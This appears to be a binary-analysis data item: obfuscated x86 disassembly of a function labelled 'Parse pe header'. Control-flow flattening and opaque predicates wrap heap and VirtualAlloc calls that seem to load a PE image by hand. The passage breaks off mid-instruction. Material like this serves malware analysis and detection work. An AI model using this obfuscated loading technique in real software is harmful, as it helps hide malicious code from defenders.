Function at 0x101077ac
Capabilities:
Parse pe header

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x70
mov eax, dword [0x10192a6c]
mov ecx, dword [0x10192a70]
lea edx, [eax - 1]
imul edx, eax
test dl, 1
sete byte [esp + 0x1e]
cmp ecx, 0xa
setl byte [esp + 0x1f]
mov eax, 0xc8fb395
cmp eax, 0xfbb1f888
jg 0x10107853
cmp eax, 0xbb348373
jg 0x101078e4
cmp eax, 0x9a032850
jg 0x101079c8
cmp eax, 0x8d1e9da1
jg 0x10107b44
cmp eax, 0x88a30e10
jg 0x10107e84
cmp eax, 0x84d5cdab
jg 0x101084d7
cmp eax, 0x83bcdc67
jg 0x10108e4e
cmp eax, 0x81220072
jg 0x10109ea6
cmp eax, 0x80c53a4e
je 0x1010b9b1
cmp eax, 0x81192e97
jne 0x101077d9
cmp byte [esp + 0x24], 0
mov eax, 0x8d7fe1c4
mov ecx, 0xf4156ba4
cmovne eax, ecx
jmp 0x101077d9
cmp eax, 0x44dfeabc
jle 0x10107946
cmp eax, 0x63355918
jg 0x10107a1f
cmp eax, 0x55874549
jg 0x10107bb0
cmp eax, 0x4d54af62
jg 0x10107ec5
cmp eax, 0x47b52fd4
jg 0x1010850d
cmp eax, 0x45a1e383
jg 0x10108e79
cmp eax, 0x450aab6c
jg 0x10109ee6
cmp eax, 0x44dfeabd
je 0x1010b9bb
cmp eax, 0x4508091d
jne 0x101077d9
mov eax, dword [esp + 0x5c]
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x7100e50
mov ecx, 0xcb32144
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0xd6b06c98
jg 0x10107a76
cmp eax, 0xcabc3953
jg 0x10107c1c
cmp eax, 0xc1e71bd9
jg 0x10107f26
cmp eax, 0xbfc9f08d
jg 0x10108563
cmp eax, 0xbdddfcb2
jg 0x10108ec4
cmp eax, 0xbcbca646
jg 0x10109f26
cmp eax, 0xbb348374
je 0x1010b9e5
cmp eax, 0xbb923839
jne 0x101077d9
mov eax, 0x75eba3ae
jmp 0x101077d9
cmp eax, 0x2243afe7
jg 0x10107aed
cmp eax, 0x134fc16a
jg 0x10107c88
cmp eax, 0x3f7ba52
jg 0x10107f67
cmp eax, 0x6a8bcf
jg 0x101085b9
cmp eax, 0xfdda5aca
jg 0x10108eef
cmp eax, 0xfc20cda8
jg 0x10109f66
cmp eax, 0xfbb1f889
je 0x1010ba0f
cmp eax, 0xfbe0a4b6
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x5506565f
mov ecx, 0x8e79c268
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0xa828aaf2
jg 0x10107cf4
cmp eax, 0xa180dbda
jg 0x10107fc8
cmp eax, 0x9ce1436e
jg 0x1010860f
cmp eax, 0x9a9ae037
jg 0x10108f1a
cmp eax, 0x9a6a315f
jg 0x10109f86
cmp eax, 0x9a032851
je 0x1010ba43
cmp eax, 0x9a6562a7
jne 0x101077d9
mov eax, 0x20443cce
jmp 0x101077d9
cmp eax, 0x71c7eabb
jg 0x10107d60
cmp eax, 0x68fd6579
jg 0x10108029
cmp eax, 0x650eb564
jg 0x10108645
cmp eax, 0x642640d1
jg 0x10108f45
cmp eax, 0x63f01773
jg 0x10109fa6
cmp eax, 0x63355919
je 0x1010ba81
cmp eax, 0x637b23c3
jne 0x101077d9
mov eax, 0xd70d2f18
jmp 0x101077d9
cmp eax, 0xe7098fb3
jg 0x10107dcc
cmp eax, 0xdf11c979
jg 0x1010806a
cmp eax, 0xda8faf0b
jg 0x1010867f
cmp eax, 0xd7fef1b8
jg 0x10108f70
cmp eax, 0xd7749c5f
jg 0x10109fe6
cmp eax, 0xd6b06c99
je 0x1010baab
cmp eax, 0xd70d2f18
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x637b23c3
mov ecx, 0xa0ad4511
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x2eed1cb6
jg 0x10107e18
cmp eax, 0x28de588e
jg 0x101080b3
cmp eax, 0x252a4640
jg 0x101086d5
cmp eax, 0x234e4915
jg 0x10108fbb
cmp eax, 0x22b4f44a
jg 0x1010a006
cmp eax, 0x2243afe8
je 0x1010bad5
cmp eax, 0x22af81c6
jne 0x101077d9
mov eax, 0x78f51c77
jmp 0x101077d9
cmp eax, 0x9445f7dc
jg 0x101080f4
cmp eax, 0x8f827515
jg 0x1010870b
cmp eax, 0x8e8ebe55
jg 0x10108fef
cmp eax, 0x8e03a456
jg 0x1010a04a
cmp eax, 0x8d1e9da2
je 0x1010baff
cmp eax, 0x8d7fe1c4
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xd2b38270
mov ecx, 0xa1e3d814
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x5d9b3088
jg 0x10108155
cmp eax, 0x5b14c760
jg 0x10108741
cmp eax, 0x57e08e68
jg 0x1010903a
cmp eax, 0x567403e6
jg 0x1010a08a
cmp eax, 0x5587454a
je 0x1010bb29
cmp eax, 0x55939e20
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe2395749
mov ecx, 0x68fd657a
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0xcec2a199
jg 0x101081b6
cmp eax, 0xccb580ec
jg 0x10108797
cmp eax, 0xcb8a6893
jg 0x10109085
cmp eax, 0xcb31c426
jg 0x1010a0aa
cmp eax, 0xcabc3954
je 0x1010bb53
cmp eax, 0xcaf0caa7
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xcf59a195
mov ecx, 0xe3c4a4ba
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x18a53dff
jg 0x10108217
cmp eax, 0x16b6e6c0
jg 0x101087ed
cmp eax, 0x143e17e9
jg 0x101090d0
cmp eax, 0x13fa4f21
jg 0x1010a0ea
cmp eax, 0x134fc16b
je 0x1010bb7d
cmp eax, 0x138078b3
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x5c6f2840
mov ecx, 0xd1abb6d2
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0xb15b4a7c
jg 0x10108278
cmp eax, 0xaabafd44
jg 0x10108843
cmp eax, 0xa9c0a095
jg 0x1010911b
cmp eax, 0xa8b68f63
jg 0x1010a10a
cmp eax, 0xa828aaf3
je 0x1010bb87
cmp eax, 0xa8873537
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x3f7ba53
mov ecx, 0x3ed4e02b
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x788b128d
jg 0x101083b4
cmp eax, 0x74d72c86
jg 0x10108899
cmp eax, 0x728d0e56
jg 0x10109166
cmp eax, 0x724283b8
jg 0x1010a14a
cmp eax, 0x71c7eabc
je 0x1010bb91
cmp eax, 0x71fba3d8
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xcb978ac3
mov ecx, 0xf233529c
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0xf233529b
jg 0x10108415
cmp eax, 0xe9a42201
jg 0x101088ef
cmp eax, 0xe83c7f95
jg 0x10109195
cmp eax, 0xe7a9c262
jg 0x1010a16a
cmp eax, 0xe7098fb4
je 0x1010bb9f
cmp eax, 0xe709cdaf
jne 0x101077d9
mov eax, 0x5b14c761
jmp 0x101077d9
cmp eax, 0x3b5f4b9f
jg 0x10108476
cmp eax, 0x340a1f96
jg 0x10108925
cmp eax, 0x311994c7
jg 0x101091f6
cmp eax, 0x307677ba
jg 0x1010a19d
cmp eax, 0x2eed1cb7
je 0x1010bbb0
cmp eax, 0x2f9d87e8
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xcf59a195
mov ecx, 0xa44fa530
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x8a574cf3
jg 0x1010895b
cmp eax, 0x894be1dc
jg 0x10109241
cmp eax, 0x892568aa
jg 0x1010a1dd
cmp eax, 0x88a30e11
je 0x1010bbc7
cmp eax, 0x89238159
jne 0x101077d9
mov eax, 0xa0875436
jmp 0x101077d9
cmp eax, 0x50e927d5
jg 0x101089b1
cmp eax, 0x508107f5
jg 0x1010928c
cmp eax, 0x4e94b793
jg 0x1010a1fd
cmp eax, 0x4d54af63
je 0x1010bbd1
cmp eax, 0x4da5e77d
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xfa109b08
mov ecx, 0x7c668793
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0xc88b3bc5
jg 0x101089fa
cmp eax, 0xc6453658
jg 0x101092b7
cmp eax, 0xc44d9694
jg 0x1010a21d
cmp eax, 0xc1e71bda
je 0x1010bbdf
cmp eax, 0xc330f9d1
jne 0x101077d9
mov eax, 0x2243afe8
jmp 0x101077d9
cmp eax, 0xc8fb394
jg 0x10108a50
cmp eax, 0x99fcbb8
jg 0x101092e2
cmp eax, 0x7100e4f
jg 0x1010a25d
cmp eax, 0x3f7ba53
je 0x1010bbe9
cmp eax, 0x45adcc3
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x58ce49eb
mov ecx, 0x8850afc4
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0xa5bf1ac4
jg 0x10108a86
cmp eax, 0xa3023de3
jg 0x1010932d
cmp eax, 0xa1e53522
jg 0x1010a2a1
cmp eax, 0xa180dbdb
je 0x1010bbf3
cmp eax, 0xa1e3d814
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xd2b38270
mov ecx, 0x225fdf9
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x6b625673
jg 0x10108adc
cmp eax, 0x6a7dc9e4
jg 0x10109378
cmp eax, 0x69cfda2f
jg 0x1010a2c1
cmp eax, 0x68fd657a
je 0x1010bc1d
cmp eax, 0x6929f79d
jne 0x101077d9
mov eax, 0x42de3c48
jmp 0x101077d9
cmp eax, 0xe2f0742c
jg 0x10108b32
cmp eax, 0xe1a97896
jg 0x101093a3
cmp eax, 0xe06a54e1
jg 0x1010a301
cmp eax, 0xdf11c97a
je 0x1010bc47
cmp eax, 0xdfa96077
jne 0x101077d9
mov dword [esp + 0x30], 0
mov eax, 0x36f47716
jmp 0x101077d9
cmp eax, 0x2b27ee5e
jg 0x10108b88
cmp eax, 0x2a8fd73b
jg 0x101093ee
cmp eax, 0x2992e5e1
jg 0x1010a341
cmp eax, 0x28de588f
je 0x1010bc51
cmp eax, 0x298f9441
jne 0x101077d9
mov eax, 0x5587454a
jmp 0x101077d9
cmp eax, 0x972e187a
jg 0x10108bde
cmp eax, 0x9625ced4
jg 0x10109427
cmp eax, 0x959c80ca
jg 0x1010a381
cmp eax, 0x9445f7dd
je 0x1010bc7b
cmp eax, 0x95356799
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xc0d95fdb
mov ecx, 0x2b27ee5f
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x5ecb5b5f
jg 0x10108c14
cmp eax, 0x5ddee0ee
jg 0x10109472
cmp eax, 0x5dd394de
jg 0x1010a3c1
cmp eax, 0x5d9b3089
je 0x1010bc85
cmp eax, 0x5db96069
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x143002d7
mov ecx, 0x4da5e77d
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0xd30eb01d
jg 0x10108c6a
cmp eax, 0xd0c63cbe
jg 0x101094bd
cmp eax, 0xcfee18d7
jg 0x1010a3e5
cmp eax, 0xcec2a19a
je 0x1010bcbe
cmp eax, 0xcf59a195
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xde0905b9
mov ecx, 0xa180dbdb
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x1f580378
jg 0x10108cc0
cmp eax, 0x1b264178
jg 0x10109508
cmp eax, 0x1a336327
jg 0x1010a425
cmp eax, 0x18a53e00
je 0x1010bcc8
cmp eax, 0x1989ad56
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x61434fa1
mov ecx, 0x1739e735
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0xb73e1f20
jg 0x10108d16
cmp eax, 0xb3e8ba37
jg 0x10109553
cmp eax, 0xb37df94c
jg 0x1010a465
cmp eax, 0xb15b4a7d
je 0x1010bcf2
cmp eax, 0xb19e9365
jne 0x101077d9
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0x14
xor ecx, ecx
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x2c]
mov dword [esp + 4], eax
mov eax, dword [esp + 4]
mov ecx, dword [esp]
mov dword [eax + 4], ecx
mov eax, dword [esp + 4]
xor ecx, ecx
mov dword [eax + 0xc], ecx
mov eax, dword [esp + 4]
mov dword [eax + 8], ecx
mov eax, dword [esp + 4]
add eax, 0x10
mov dword [esp + 0x34], eax
mov eax, dword [esp + 0x34]
mov dword [eax], ecx
mov eax, dword [esp + 0x10]
mov ebp, 4
push ebp
mov edi, 0x1000
push edi
push dword [eax]
push dword [esp + 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
call esi
mov ebx, dword [esp + 0x28]
push ebp
push edi
push dword [ebx + 0x3c]
push dword [esp + 0xc]
call esi
mov edi, eax
mov eax, dword [esp + 8]
mov ecx, dword [ebx + 0x3c]
add ecx, dword [eax]
push ecx
mov esi, dword [esp + 0x88]
push esi
push edi
call fcn.1014bf80
add esp, 0xc
mov eax, dword [esp + 8]
mov eax, dword [eax]
lea ecx, [edi + eax]
mov edx, dword [esp + 4]
mov dword [esp + 0x38], edx
mov edx, dword [esp + 0x38]
mov dword [edx], ecx
mov ecx, dword [esp]
mov dword [edi + eax + 0x34], ecx
mov edx, dword [esp + 0xc]
mov ecx, esi
push dword [esp + 4]
call fcn.1010db48
add esp, 4
mov eax, dword [esp + 0x18]
mov ecx, dword [esp]
sub ecx, dword [eax]
mov dword [esp + 0x3c], ecx
xor eax, eax
cmp dword [esp + 0x3c], eax
setne byte [esp + 0x24]
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xa7d9a11d
mov ecx, 0xc166ab0a
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x7c668792
jg 0x10108d6c
cmp eax, 0x7a879cad
jg 0x1010957e
cmp eax, 0x7a16e70a
jg 0x1010a4a5
cmp eax, 0x788b128e
je 0x1010bd1c
cmp eax, 0x78f51c77
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x22af81c6
mov ecx, 0xdc444ae9
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0xf7b05ad7
jg 0x10108dc2
cmp eax, 0xf4156ba3
jg 0x101095d7
cmp eax, 0xf25ec81f
jg 0x1010a4e5
cmp eax, 0xf233529c
je 0x1010bd26
cmp eax, 0xf247e290
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x4013e8b4
mov ecx, 0xbe936ac9
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x3f34c3fd
jle 0x10108e18
cmp eax, 0x4144d8c9
jg 0x10109602
cmp eax, 0x4013e8b3
jg 0x1010a525
cmp eax, 0x3f34c3fe
je 0x1010bd50
cmp eax, 0x3f56a947
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xdbc8e833
mov ecx, 0x8146bd
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x873f774b
jg 0x10109637
cmp eax, 0x856ec8b4
jg 0x1010a545
cmp eax, 0x84d5cdac
je 0x1010bd9f
cmp eax, 0x851aa623
jne 0x101077d9
mov eax, 0xbd52c4a8
jmp 0x101077d9
cmp eax, 0x4a37d129
jg 0x10109677
cmp eax, 0x499b7373
jg 0x1010a565
cmp eax, 0x47b52fd5
je 0x1010bda9
cmp eax, 0x48f5ed79
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x920a8c9c
mov ecx, 0xcceb8c60
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0xc118b609
jg 0x101096ab
cmp eax, 0xc0d95fda
jg 0x1010a5a5
cmp eax, 0xbfc9f08e
je 0x1010bdd3
cmp eax, 0xc08b25ef
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x706da8bf
mov ecx, 0xce7f7416
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x142ca55
jg 0x101096f6
cmp eax, 0x105b7f6
jg 0x1010a5e5
cmp eax, 0x6a8bd0
je 0x1010bddd
cmp eax, 0x8146bd
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xdbc8e833
mov ecx, 0x6b625674
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0xa05f0e3e
jg 0x10109741
cmp eax, 0x9dff7060
jg 0x1010a625
cmp eax, 0x9ce1436f
je 0x1010bde7
cmp eax, 0x9dce6c3b
jne 0x101077d9
mov eax, 0xfa204374
jmp 0x101077d9
cmp eax, 0x682c0629
jg 0x1010978c
cmp eax, 0x658fa38b
jg 0x1010a652
cmp eax, 0x650eb565
je 0x1010bdf1
cmp eax, 0x656ea258
jne 0x101077d9
mov eax, dword [esp + 0x44]
mov eax, 0x7b2fefee
jmp 0x101077d9
cmp eax, 0xdc444ae8
jg 0x101097b7
cmp eax, 0xdbc8e832
jg 0x1010a692
cmp eax, 0xda8faf0c
je 0x1010be1b
cmp eax, 0xdb85ef74
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe2f0742d
mov ecx, 0x728d0e57
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x268e7fb8
jg 0x10109802
cmp eax, 0x2653a4cb
jg 0x1010a6d2
cmp eax, 0x252a4641
je 0x1010be29
cmp eax, 0x2561d512
jne 0x101077d9
mov eax, 0x1b1d992b
jmp 0x101077d9
cmp eax, 0x920a8c9b
jg 0x1010984d
cmp eax, 0x90efaca3
jg 0x1010a712
cmp eax, 0x8f827516
je 0x1010be53
cmp eax, 0x903fe334
jne 0x101077d9
mov eax, 0xef9727a3
jmp 0x101077d9
cmp eax, 0x5c886d93
jg 0x10109878
cmp eax, 0x5c6f283f
jg 0x1010a752
cmp eax, 0x5b14c761
je 0x1010be7d
cmp eax, 0x5be69c0f
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x6929f79d
mov ecx, 0x42de3c48
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0xcd87e6d8
jg 0x101098c3
cmp eax, 0xcd1fdbba
jg 0x1010a772
cmp eax, 0xccb580ed
je 0x1010bea7
cmp eax, 0xcceb8c60
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x40be0cfe
mov ecx, 0xe2039075
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x175a4efe
jg 0x1010990e
cmp eax, 0x172f2d4d
jg 0x1010a7b2
cmp eax, 0x16b6e6c1
je 0x1010bedc
cmp eax, 0x171564b1
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x770933e1
mov ecx, 0xfbb1f889
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0xaf24b24f
jg 0x10109946
cmp eax, 0xabc53080
jg 0x1010a7f2
cmp eax, 0xaabafd45
je 0x1010bee6
cmp eax, 0xab8ec9b5
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xac69ff5f
mov ecx, 0x2830bb7f
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x766f1e78
jg 0x10109991
cmp eax, 0x75d93c98
jg 0x1010a812
cmp eax, 0x74d72c87
je 0x1010bf10
cmp eax, 0x750ab1c2
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x8f64b434
mov ecx, 0x903fe334
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0xeecb13d5
jg 0x101099c6
cmp eax, 0xeb9c9405
jg 0x1010a852
cmp eax, 0xe9a42202
je 0x1010bf3a
cmp eax, 0xe9e9810f
jne 0x101077d9
mov eax, 0xb3e8ba38
jmp 0x101077d9
cmp eax, 0x3946d952
jg 0x10109a11
cmp eax, 0x36f47715
jg 0x1010a8a4
cmp eax, 0x340a1f97
je 0x1010bf51
cmp eax, 0x3683dd51
jne 0x101077d9
mov eax, 0xc543b17c
jmp 0x101077d9
cmp eax, 0x8b8cb4db
jg 0x10109a3c
cmp eax, 0x8ac593e0
jg 0x1010a8d1
cmp eax, 0x8a574cf4
je 0x1010bf7b
cmp eax, 0x8a6f2dea
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x508107f6
mov ecx, 0xa97a8dc3
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x52b89b94
jg 0x10109a67
cmp eax, 0x518b8c64
jg 0x1010a911
cmp eax, 0x50e927d6
je 0x1010bfa5
cmp eax, 0x50f329a8
jne 0x101077d9
push 4
push 0x2000
push dword [esp + 0x54]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov eax, 0xcb31c427
jmp 0x101077d9
cmp eax, 0xc9925cb9
jg 0x10109a92
cmp eax, 0xc8e1e7f1
jg 0x1010a951
cmp eax, 0xc88b3bc6
je 0x1010bfcf
cmp eax, 0xc8c1ae0e
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xcec2a19a
mov ecx, 0xabc53081
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0xdf6922e
jg 0x10109add
cmp eax, 0xd4a42ed
jg 0x1010a991
cmp eax, 0xc8fb395
je 0x1010c00c
cmp eax, 0xcb32144
jne 0x101077d9
mov eax, 0x7a193f40
jmp 0x101077d9
cmp eax, 0xa75e72be
jg 0x10109b28
cmp eax, 0xa6334a1d
jg 0x1010a9b1
cmp eax, 0xa5bf1ac5
je 0x1010c02c
cmp eax, 0xa5e187af
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x873f774c
mov ecx, 0x66c56eb9
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x7020ef9e
jg 0x10109bed
cmp eax, 0x6edc09f4
jg 0x1010a9fc
cmp eax, 0x6b625674
je 0x1010c056
cmp eax, 0x6d2b6b18
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe06a54e2
mov ecx, 0xa3023de4
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0xe68c0a06
jg 0x10109c38
cmp eax, 0xe4484362
jg 0x1010aa20
cmp eax, 0xe2f0742d
je 0x1010c080
cmp eax, 0xe3c4a4ba
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xb48aa4a4
mov ecx, 0x28de588f
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x2caeaa99
jg 0x10109c83
cmp eax, 0x2bf24d6c
jg 0x1010aa6b
cmp eax, 0x2b27ee5f
je 0x1010c08a
cmp eax, 0x2b798c52
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x777dd641
mov ecx, 0x307677bb
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x98643a7b
jg 0x10109cce
cmp eax, 0x97daa442
jg 0x1010aa8b
cmp eax, 0x972e187b
je 0x1010c0b4
cmp eax, 0x97a7a1f1
jne 0x101077d9
mov eax, 0x5cc03b94
jmp 0x101077d9
cmp eax, 0x6090dba8
jg 0x10109d19
cmp eax, 0x5fedf503
jg 0x1010aacb
cmp eax, 0x5ecb5b60
je 0x1010c0de
cmp eax, 0x5f4d99e9
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x4a37d12a
mov ecx, 0xa9c0a096
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0xd577e109
jg 0x10109d64
cmp eax, 0xd489061c
jg 0x1010aaeb
cmp eax, 0xd30eb01e
je 0x1010c108
cmp eax, 0xd357c29e
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xfd7e1e93
mov ecx, 0x74aa7818
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x20d2b906
jg 0x10109d8f
cmp eax, 0x1fe48f4f
jg 0x1010ab0f
cmp eax, 0x1f580379
je 0x1010c116
cmp eax, 0x1fa30505
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xc1bc6d1d
mov ecx, 0xa44438d4
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0xb899826c
jg 0x10109dba
cmp eax, 0xb841c9c8
jg 0x1010ab4f
cmp eax, 0xb73e1f21
je 0x1010c140
cmp eax, 0xb7fcd64d
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x88a30e11
mov ecx, 0x234e4916
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0x7e840179
jg 0x10109e05
cmp eax, 0x7db03a14
jg 0x1010ab8f
cmp eax, 0x7c668793
je 0x1010c14a
cmp eax, 0x7c75d12f
jne 0x101077d9
mov eax, dword [0x10192a6c]
lea ecx, [eax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9a9ae038
mov ecx, 0xbd52c4a8
cmove eax, ecx
cmp dword [0x10192a70], 0xa
cmovl eax, ecx
jmp 0x101077d9
cmp eax, 0xf9670222
jg 0x10109e30
cmp eax, 0xf8d6cb59
jg 0x1010abcf
cmp eax, 0xf7b05ad8
je 0x1010c174
cmp eax, 0xf8720899
